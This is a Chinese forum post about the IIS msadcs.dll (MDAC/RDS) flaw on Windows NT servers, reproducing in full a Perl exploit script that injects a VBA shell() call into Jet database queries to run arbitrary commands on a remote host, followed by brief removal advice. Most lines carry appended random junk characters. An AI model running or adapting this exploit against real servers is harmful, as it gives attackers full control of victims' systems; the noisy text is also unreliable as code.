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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Q fyERa\rb  
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涉及程序: IC-xCzR  
Microsoft NT server dVt@D&  
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描述: ftqW3VW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %+! 9  
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详细: q4ko}jn  
如果你没有时间读详细内容的话,就删除: I64:-P[\  
c:\Program Files\Common Files\System\Msadc\msadcs.dll RH4n0 =2  
有关的安全问题就没有了。 >(ww6vk2  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 446hrzW>@  
BBJ]>lQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 h>%JG'DV  
关于利用ODBC远程漏洞的描述,请参看: lKwT5ma7  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _r|yt Q)  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 v 4b`19}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "#k(V=y  
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这里不再论述。 7CMgvH)O  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ']Xx#U N  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset B@vH1T  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 1WN93 SQ=  
E d/O\v@  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" `gs,JJ6N  
FEmlC,%  
#!perl F^G`Jf  
# qm5pEort  
# MSADC/RDS 'usage' (aka exploit) script c qyh#uWe  
# Q%1;{5   
# by rain.forest.puppy L5uI31  
# B "zg85 e  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me D?F5o^e"h<  
# beta test and find errors! O~ 0 1)%  
j5GZ;d?  
use Socket; use Getopt::Std; L^s;kkB  
getopts("e:vd:h:XR", \%args); )9Ojvp=#r:  
\bSHBTK  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; qM !q,Q  
B :.;:AEbT  
if (!defined $args{h} && !defined $args{R}) { ZSt ww{Z  
print qq~ Z[bC@y[Wb  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~At.V+  
-h <host> = host you want to scan (ip or domain) P`9A?aG.Z  
-d <seconds> = delay between calls, default 1 second P`"DepeD  
-X = dump Index Server path table, if available v[3sg2.  
-v = verbose &L~rq)r/&  
-e = external dictionary file for step 5 x,_Ucc.  
#[yl;1)  
Or a -R will resume a command session +0 |0X {v  
rep"xV&|>o  
~; exit;} hI{Yg$H1  
L-$g& -  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; F[Sat;Sll  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} iH0c1}<k$  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} U.(_n  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %BLKB%5  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^ s4|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 9Wrcl ai  
;gV8f{X{Z  
if (!defined $args{R}){ $ret = &has_msadc; b;l%1x9r  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} oP 0j>i,"&  
,[#f}|s_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ~A4WuA  
. "cmd /c "; 7S Zs/wWh%  
$in=<STDIN>; chomp $in; e)"cm;BJ^P  
$command="cmd /c " . $in ; \YS\* 'F  
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if (defined $args{R}) {&load; exit;} '~J6 mojE  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Hefqzu  
&try_btcustmr; 8:NHPHxB  
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print "\nStep 2: Trying to make our own DSN..."; 1j,Y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; N2J!7uoQ  
PX)qA =4q  
print "\nStep 3: Trying known DSNs..."; e?WR={  
&known_dsn; 2Wtfx" .y  
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print "\nStep 4: Trying known .mdbs..."; 9k&$bC+Q  
&known_mdb; {*9i}w|2  
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if (defined $args{e}){ bmpB$@  
print "\nStep 5: Trying dictionary of DSN names..."; # 95/,k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } .*"IJD9  
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print "Sorry Charley...maybe next time?\n"; o9>X"5CmX  
exit; H#E0S>Jw|  
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############################################################################## w"|c;E1;_  
gEu\X|7'  
sub sendraw { # ripped and modded from whisker 'C<=bUM  
sleep($delay); # it's a DoS on the server! At least on mine... *p^MAk9=  
my ($pstr)=@_; LlJvuQ 28  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }.zn:e  
die("Socket problems\n"); ntejFy9_  
if(connect(S,pack "SnA4x8",2,80,$target)){ bX1ip2X lk  
select(S); $|=1; CjGI}t  
print $pstr; my @in=<S>; /([aD~.  
select(STDOUT); close(S); ,e,{6Sg6gl  
return @in; RJSgts "F  
} else { die("Can't connect...\n"); }} ?}>tfDu'  
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############################################################################## Pt+_0OsR  
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sub make_header { # make the HTTP request V*~5*OwB  
my $msadc=<<EOT X1"nq]chGy  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 {ex]_V>  
User-Agent: ACTIVEDATA t JP(eaqZ  
Host: $ip '4rgIs3=x"  
Content-Length: $clen \q>,c49a{  
Connection: Keep-Alive @[Th{HTc.G  
#z.x3D@^r6  
ADCClientVersion:01.06 h! <8=V(  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 vY6|V$  
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--!ADM!ROX!YOUR!WORLD! 'Vd>"ti  
Content-Type: application/x-varg ,J~dER\%  
Content-Length: $reqlen ?0x;L/d])  
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; $msadc=~s/\n/\r\n/g; =3'wHl  
return $msadc;} ?:E;C<Ar  
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############################################################################## P_gQ-pF.  
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sub make_req { # make the RDS request =6$(m}(74  
my ($switch, $p1, $p2)=@_; 5eYCnc9  
my $req=""; my $t1, $t2, $query, $dsn; `6/7},"9t  
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if ($switch==1){ # this is the btcustmr.mdb query rZEu@63  
$query="Select * from Customers where City=" . make_shell(); Jj!T7f*-GX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . KR*/yeG!E  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Vk"QcW  
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elsif ($switch==2){ # this is general make table query LYX+/@OU2  
$query="create table AZZ (B int, C varchar(10))"; d={}a,3?  
$dsn="$p1";} F2&KTK  
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elsif ($switch==3){ # this is general exploit table query n;U|7it7  
$query="select * from AZZ where C=" . make_shell(); z)26Ahm TV  
$dsn="$p1";} zri<'W  
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elsif ($switch==4){ # attempt to hork file info from index server U;(&!Ei  
$query="select path from scope()"; Lv_>cFJ}[  
$dsn="Provider=MSIDXS;";} Y9WH%  
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elsif ($switch==5){ # bad query ()r DM@  
$query="select"; WIg"m[aIs  
$dsn="$p1";} ]OVjq ?  
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$t1= make_unicode($query); $j:0*Z=>  
$t2= make_unicode($dsn); ukw'$Yt2  
$req = "\x02\x00\x03\x00"; %63<Iz"  
$req.= "\x08\x00" . pack ("S1", length($t1)); NM4 n  
$req.= "\x00\x00" . $t1 ; |89`O^   
$req.= "\x08\x00" . pack ("S1", length($t2)); (HTVSC%=  
$req.= "\x00\x00" . $t2 ;  -x7L8Wj  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; .Ee8s]h5W  
return $req;} ~"-wSAm  
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############################################################################## aAX 8m  
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sub make_shell { # this makes the shell() statement e0D;]  
return "'|shell(\"$command\")|'";} `:8&m  
}, ]W/  
############################################################################## n_aKciF  
a`T{ 5*@  
sub make_unicode { # quick little function to convert to unicode OvFZ&S[  
my ($in)=@_; my $out; M?_VYK  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -X |G  
return $out;} k -SUp8}g  
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############################################################################## xQN](OKG  
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sub rdo_success { # checks for RDO return success (this is kludge) Abj`0\  
my (@in) = @_; my $base=content_start(@in); [p]Ayo$~  
if($in[$base]=~/multipart\/mixed/){ )q#b^( v  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 0s4%22  
return 0;} KB-7]H  
b2Ct^`|M5  
############################################################################## $ @^n3ZQ4  
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sub make_dsn { # this makes a DSN for us bzZEwMc6  
my @drives=("c","d","e","f"); f$P pFSY4  
print "\nMaking DSN: "; 50CU|  
foreach $drive (@drives) { D[U5SS!)  
print "$drive: "; NxNz(R $~  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . MJK L4 G  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  |,.glL  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); qgu.c`GmW  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; B=9|g1e  
return 0 if $2 eq "404"; # not found/doesn't exist B&tl6?7h  
if($2 eq "200") { 5^tL#  
foreach $line (@results) { sR#( \  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} L8!xn&uyP=  
} return 0;} )u<sEF  
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############################################################################## N2C^'dFj  
5?QR  
sub verify_exists { 4j/8Otn  
my ($page)=@_; h(>4%hF  
my @results=sendraw("GET $page HTTP/1.0\n\n"); OrHnz981K  
return $results[0];} aN.Phn:  
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############################################################################## aWW|.#L  
!30BZM^  
sub try_btcustmr { w${=]h*2  
my @drives=("c","d","e","f"); 5&6S["lt  
my @dirs=("winnt","winnt35","winnt351","win","windows"); AOeptv^k3}  
MLaH("aen  
foreach $dir (@dirs) { <1V!-D4xu  
print "$dir -> "; # fun status so you can see progress v2dCna\  
foreach $drive (@drives) { 7LKNEll  
print "$drive: "; # ditto NfKi,^O  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; sJ!AI n<  
$reqlenlen=length( "$reqlen" ); ]{Iy<  
$clen= 206 + $reqlenlen + $reqlen; 1[/X$DyaK  
l[.RnM[v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); eZT923tD  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} G[)QGZ}8b  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .\qZkk}2l  
T+RfMEdr  
############################################################################## %6HDLG6@^}  
]uj6-0q){W  
sub odbc_error { _G,`s7Q,w  
my (@in)=@_; my $base; JT,8/o  
my $base = content_start(@in); V#=o<  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Il>!C\hU  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [{- Oy#T<  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C4]vq+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x-mRPH  
return $in[$base+4].$in[$base+5].$in[$base+6];} /c8F]fkZ=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; G)M9to  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . u.gnv dU  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} D`2Iy.|!  
}LN +V~  
############################################################################## D~G24k6b3  
9#xcp/O  
sub verbose { s -~Tf|  
my ($in)=@_; A#\NVN8sk  
return if !$verbose; he;&KzEu  
print STDOUT "\n$in\n";} c7E=1*C<  
Ir}r98lz  
############################################################################## t[Xx LG*  
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sub save { EQET:a:g  
my ($p1, $p2, $p3, $p4)=@_; Re0ma%~LP  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %c*azo.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; :)SLi  
close OUT;} Nl"< $/  
%tT&/F  
############################################################################## CD;C z*c  
Gcna:w>6d  
sub load { dd@qk`Zl&A  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7aj|-gZ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); %+ynrg-  
@p=<IN>; close(IN); |X,T>{V?y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g@BQ!}_#5  
$target= inet_aton($ip) || die("inet_aton problems"); @2yi%_ ]h  
print "Resuming to $ip ..."; l\vtz5L  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Po#;SG#Ee  
if($p[1]==1) { *tC]Z&5  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; :,X,!0pWRp  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;  |W];8  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); u[$ \ az7  
if (rdo_success(@results)){print "Success!\n";} . T6fPEb  
else { print "failed\n"; verbose(odbc_error(@results));}} -{dsl|Dl  
elsif ($p[1]==3){ wu "6Kyu  
if(run_query("$p[3]")){ eZ#nZB  
print "Success!\n";} else { print "failed\n"; }} 7{e0^V,\k  
elsif ($p[1]==4){ dlsVE~_G  
if(run_query($drvst . "$p[3]")){ ?>SC:{(  
print "Success!\n"; } else { print "failed\n"; }} z=J%-Hq>  
exit;} eLXG _Qb"  
[4KW64%l  
############################################################################## rnz9TmN:*1  
-'*\KA@u  
sub create_table { n>T1KC%  
my ($in)=@_; St}j^i  
$reqlen=length( make_req(2,$in,"") ) - 28; >DeG//rv  
$reqlenlen=length( "$reqlen" ); .]}kOw:(#  
$clen= 206 + $reqlenlen + $reqlen; (=c R;\s<  
my @results=sendraw(make_header() . make_req(2,$in,"")); ]V \qX+K  
return 1 if rdo_success(@results); ;O5p>o  
my $temp= odbc_error(@results); verbose($temp); !_P;4E  
return 1 if $temp=~/Table 'AZZ' already exists/; L5=Tj4`  
return 0;} ]y= ff6Q  
]@)T]  
############################################################################## R{uq8NA- W  
<8nl}^d5  
sub known_dsn { P[6@1  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 7714}%Z  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", oace!si  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", N% /if  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *T\- iICw  
[zmx  
foreach $dSn (@dsns) { gU1E6V-Jm  
print "."; SZW+<X  
next if (!is_access("DSN=$dSn")); # ~SuL3  
if(create_table("DSN=$dSn")){ ,b!!h]t  
print "$dSn successful\n"; h$7rEs  
if(run_query("DSN=$dSn")){ p"" #Gbwj  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { VU6nu4   
print "Something's borked. Use verbose next time\n";}}} print "\n";} \-3\lZ3qj  
[!9 dA.tF  
############################################################################## mGR}hsQpn  
HPJ\]HV(  
sub is_access { {?tK]g#  
my ($in)=@_; >Hb>wlYR  
$reqlen=length( make_req(5,$in,"") ) - 28; ?0k(wiF  
$reqlenlen=length( "$reqlen" ); Zo`Ku+RL2'  
$clen= 206 + $reqlenlen + $reqlen; m:|jv|f  
my @results=sendraw(make_header() . make_req(5,$in,"")); wT/TQEgz  
my $temp= odbc_error(@results); ^~~&[wY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]l\'1-/  
return 0;} Qx{k_ye`  
M =Pn8<h~  
############################################################################## nk.m G ny  
ZNb;2 4  
sub run_query { GCSR)i|  
my ($in)=@_; pE.f}  
$reqlen=length( make_req(3,$in,"") ) - 28; za{z2# aJ  
$reqlenlen=length( "$reqlen" ); BZAeg">3  
$clen= 206 + $reqlenlen + $reqlen; g=w,*68vuy  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]C.x8(2!f  
return 1 if rdo_success(@results); E+wd9/;  
my $temp= odbc_error(@results); verbose($temp); Uawf,57v<  
return 0;} g$C-G5/bjD  
v^;-w~?3  
############################################################################## .Cv0Ze  
Nu !(7  
sub known_mdb { _ 4:@+{  
my @drives=("c","d","e","f","g"); m# #( uSh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _hP siZY9  
my $dir, $drive, $mdb; ,nn5LQ|l.j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (eX9O4  
HU[a b  
# this is sparse, because I don't know of many / S  
my @sysmdbs=( "\\catroot\\icatalog.mdb", a^yBtb~,P  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 08)X:@ w?  
"\\system32\\certmdb.mdb", @\-i3EhR  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% %7tQam  
Z4YQ5O5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Q y(Gy'q~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /18Z4TA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", IT,d(UV_  
"\\cfusion\\cfapps\\security\\realm_.mdb", T3po.Km\{  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7U=|>)Q0s  
"\\cfusion\\database\\cfexamples.mdb", BcJ]bIbKb  
"\\cfusion\\database\\cfsnippets.mdb", u{%gB&nC  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Uh.XL=wY  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  y!6+jrI  
"\\cfusion\\brighttiger\\database\\cleam.mdb", oK3uGPi  
"\\cfusion\\database\\smpolicy.mdb", emZ^d/A  
"\\cfusion\\database\cypress.mdb", |Ad1/>8i  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ]8,:E ]`O  
"\\website\\cgi-win\\dbsample.mdb", Izrf42 >k  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", cY/!z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Vp3 9`m-W  
); #these are just RB]K?  
foreach $drive (@drives) { ]TTX<R ZLr  
foreach $dir (@dirs){ -ya0!D  
foreach $mdb (@sysmdbs) { HVb9YU+  
print "."; &{B-a  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ rE?(_LI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1_JxDT,=>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ?h`Ned0P  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .E !p  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5j(3pV`_  
rCcNu  
foreach $drive (@drives) { w)bLdQ  
foreach $mdb (@mdbs) { e'<pw^I\  
print "."; f'/@h Na3  
if(create_table($drv . $drive . $dir . $mdb)){ :SxOQ(n  
print "\n" . $drive . $dir . $mdb . " successful\n"; 3#>;h  
if(run_query($drv . $drive . $dir . $mdb)){ ZdQm& ?  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; c"aiZ(aP  
} else { print "Something's borked. Use verbose next time\n"; }}}} j7;v'eA`;7  
} VdpkE0  
z-G|EAON"/  
############################################################################## 6T6 S9A*nT  
\jn[kQ+pJ  
sub hork_idx { j=v1:E  
print "\nAttempting to dump Index Server tables...\n"; NN5V|# P}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; V43pZ]YZ>  
$reqlen=length( make_req(4,"","") ) - 28; l ' ]d&  
$reqlenlen=length( "$reqlen" ); DQg:W |A  
$clen= 206 + $reqlenlen + $reqlen; cmDskQ:  
my @results=sendraw2(make_header() . make_req(4,"","")); ')#E,Y%Hq  
if (rdo_success(@results)){ oRM EC7!A0  
my $max=@results; my $c; my %d; 2G"mm (   
for($c=19; $c<$max; $c++){ x&3!z[m@@  
$results[$c]=~s/\x00//g; &J|3uY,'j  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Xu#\CYk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /'1UfjW>  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8VvoPlo  
$d{"$1$2"}="";} ]B>Y  +  
foreach $c (keys %d){ print "$c\n"; } <!:,(V>F(C  
} else {print "Index server doesn't seem to be installed.\n"; }} [|UW_Bz  
c L*D_)?8  
############################################################################## ErF;5ec  
-tT{h 4  
sub dsn_dict { <FH3 ePz  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); L>{E8qv>w  
while(<IN>){ x]%e_  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; c1wM"  
next if (!is_access("DSN=$dSn")); !@-j!Ub  
if(create_table("DSN=$dSn")){ Oa~t&s  
print "$dSn successful\n"; y]=v+Q*+  
if(run_query("DSN=$dSn")){ #{(?a.:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { iR4CY-  
print "Something's borked. Use verbose next time\n";}}} zdn e2  
print "\n"; close(IN);} GFvZdP`s4  
.hgc1  
############################################################################## D_O%[u}  
Rs)tf|`/  
sub sendraw2 { # ripped and modded from whisker H;s0|KRgJ  
sleep($delay); # it's a DoS on the server! At least on mine... v:CYf_  
my ($pstr)=@_; 2uw%0r3Vi6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || C 0*k@kGy  
die("Socket problems\n"); %Ua*}C   
if(connect(S,pack "SnA4x8",2,80,$target)){ AEK* w4  
print "Connected. Getting data"; N##T1 Qm)  
open(OUT,">raw.out"); my @in; ~/[cZY @  
select(S); $|=1; print $pstr; %-]j;'6}cX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _h_;nS.Y  
close(OUT); select(STDOUT); close(S); return @in; {#q<0l  
} else { die("Can't connect...\n"); }} Q" VFcp:  
x{~-YzWho  
############################################################################## +n9&q#ah  
e}/c`7M  
sub content_start { # this will take in the server headers \WouTn  
my (@in)=@_; my $c; {^9,Dy_D  
for ($c=1;$c<500;$c++) { ix^:qw;  
if($in[$c] =~/^\x0d\x0a/){ Rjo6Pd{d<  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } mMrvr9%  
else { return $c+1; }}} /j -LW1:N  
return -1;} # it should never get here actually M6 AQ8~z  
QfU 0*W?r  
############################################################################## `]WU=Ss  
~n]:f7?I  
sub funky { |Uy hH^  
my (@in)=@_; my $error=odbc_error(@in); %S>lPt  
if($error=~/ADO could not find the specified provider/){ XnWr~h{b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; UN| "D]>/  
exit;} FO3!tJ\L  
if($error=~/A Handler is required/){ 3X0^xUA6  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ca+d ?IS  
exit;} $q.8ve0&^  
if($error=~/specified Handler has denied Access/){ JS&l h  
print "\nServer has custom handler filters (they most likely are patched)\n"; &[S)zR=?  
exit;}} PKdM-R'Z  
!Si ZA"  
############################################################################## PhKJ#D Rbr  
6JRee[  
sub has_msadc { `mw@"  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 28X)s!W'  
my $base=content_start(@results); ~DqNA%Mb  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U <4<8'  
return 0;} ?Dd2k%o  
2)[81a  
######################## ]}>GUXe)^  
0%F C;v0  
J[LGa:``  
解决方案: U@f3V8CPy  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll J>hl&J  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ?A62VV51CN  
A|RAMO@le  
拿出来充数 哈哈
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